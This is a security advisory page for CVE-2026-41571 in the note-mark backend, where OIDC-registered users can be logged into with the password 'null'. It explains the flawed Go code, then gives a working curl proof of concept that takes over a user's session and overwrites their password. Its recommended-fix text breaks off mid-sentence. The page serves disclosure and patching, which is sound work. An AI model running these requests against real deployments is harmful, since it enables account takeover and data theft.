Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-41571 — backend

🔴 CVSS 9.5 — Critical ✅ No Known Exploit CWE-287 NVD
9.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Note Mark: OIDC-registered users authenticated by submitting password "null"

Summary

IsPasswordMatch in backend/db/models.go falls back to a hard-coded bcrypt("null") placeholder whenever a user has no stored password. OIDC-registered users are created with an empty password, so anyone who submits password: "null" to the internal login endpoint receives a valid session for that user. The bypass is unauthenticated and requires no user interaction.

Details

backend/db/models.go:36 defines the placeholder hash used by the timing-attack mitigation inside IsPasswordMatch:

```go

var nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte("null"), bcrypt.DefaultCost)

```

IsPasswordMatch (backend/db/models.go:46-58) substitutes that placeholder when the stored password is empty:

```go

func (u *User) IsPasswordMatch(plainPassword string) bool {

var current []byte

if len(u.Password) == 0 {

// prevent CWE-208

current = nullPasswordHash

} else {

current = u.Password

}

if err := bcrypt.CompareHashAndPassword(current, []byte(plainPassword)); err == nil {

return true

}

return false

}

```

OIDC-registered users are stored with an empty password at backend/services/auth.go:102-115:

```go

return db.DB.Transaction(func(tx *gorm.DB) error {

user := db.User{

Username: username,

Password: []byte(""),

}

// ...

})

```

The internal login endpoint (POST /api/auth/token, handled at backend/services/auth.go:20-54) calls IsPasswordMatch with the caller-supplied password. For any OIDC-only user, bcrypt.CompareHashAndPassword(nullPasswordHash, []byte("null")) returns nil, the function returns true, and the server issues a Auth-Session-Token cookie.

EnableInternalLogin defaults to true, and GET /api/info discloses both OIDC configuration and internal-login status. enableAnonymousUserSearch also defaults to true, so an unauthenticated caller enumerates usernames via GET /api/users/search before touching the login endpoint.

Once the session is issued, PUT /api/users/me/password accepts existingPassword: "null" because the same IsPasswordMatch routine verifies the existing password. The caller writes a new password onto the OIDC user's row, which locks the legitimate OIDC user out on the next internal-login path.

Proof of Concept

Tested against note-mark v0.19.2.

Step 1: Start note-mark pointed at any OIDC provider and set OIDC__ENABLE_USER_CREATION=true. The defaults for ENABLE_INTERNAL_LOGIN and ENABLE_ANONYMOUS_USER_SEARCH do not need to be changed.

```bash

docker run -d --name note-mark-poc \

-e OIDC__PROVIDER_NAME=example \

-e OIDC__CLIENT_ID=note-mark \

-e OIDC__CLIENT_SECRET=secret \

-e OIDC__ISSUER_URL=https://your-oidc-provider/ \

-e OIDC__ENABLE_USER_CREATION=true \

-p 8088:8080 ghcr.io/enchant97/note-mark-backend:0.19.2

```

Step 2: Alice registers via the OIDC flow. TryCreateNewOidcUser stores her row with Password = []byte("").

Step 3: Bob confirms the preconditions.

```bash

curl -s http://localhost:8088/api/info

# {"allowInternalLogin":true,"oidcProvider":"example","enableAnonymousUserSearch":true,...}

```

Step 4: Bob logs in as Alice via the internal endpoint.

```bash

curl -i -X POST http://localhost:8088/api/auth/token \

-H 'Content-Type: application/json' \

-d '{"grant_type":"password","username":"alice","password":"null"}'

```

Response:

```

HTTP/1.1 204 No Content

Set-Cookie: Auth-Session-Token=eyJ...; Path=/; HttpOnly; SameSite=Strict

```

Step 5: Bob uses the cookie to read Alice's account.

```bash

curl -b 'Auth-Session-Token=eyJ...' http://localhost:8088/api/users/me

# {"id":"...","username":"alice","name":"Alice"}

```

Step 6: Bob persists access by writing his own password onto Alice's row.

```bash

curl -i -b 'Auth-Session-Token=eyJ...' -X PUT \

http://localhost:8088/api/users/me/password \

-H 'Content-Type: application/json' \

-d '{"existingPassword":"null","newPassword":"bob-owns-this-now"}'

# HTTP/1.1 204 No Content

```

Alice's next internal-login attempt fails; her OIDC flow still works, but Bob now holds a second valid credential on the same row.

A companion script that drives all six steps ships at pocs/poc_014_null_password_bypass.sh.

Impact

Every OIDC-only user on a note-mark deployment with ENABLE_INTERNAL_LOGIN=true (the default) is one HTTP request from takeover. Bob reads Alice's private notebooks, her note markdown, and her uploaded assets. He writes, edits, or deletes anything Alice owns. Step 6 grants persistent access and costs Alice her account until the maintainer clears the row by hand.

The default configuration ships both authentication paths side by side, so any site that turns on OIDC is affected without further misconfiguration on the operator's part.

Recommended Fix

The clearest fix rejects the login path for rows with no stored password. Add the check after the user lookup in `GetA

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability low.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: Low — limited, and the attacker does not choose what is affected.

Weakness class

CVE-2026-41571 is classified as CWE-287: Improper Authentication. The identity of the caller is not established correctly, so an attacker can act as another user.

Affected software

CVE-2026-41571 is recorded against 2 packages.

  • github.com/enchant97/note-mark/backend
  • unknown

Timeline and source

Published on 25 April 2026 and last revised on 25 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
github.com (Web)

Other advisories for this package

github.com/enchant97/note-mark/backend has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-287: Improper Authentication) in other software:

Details

Severity CRITICAL
CVSS Score 9.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
CWE CWE-287
Public Exploit ✅ No
Source NVD
Published 2026-04-25
Updated 2026-08-20
Modified 2026-06-25
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/enchant97/note-mark/backend
unknown

Similar Threats

Exploit Protection

Are you running backend?

CVE-2026-41571 carries CVSS 9.5 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-41571 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026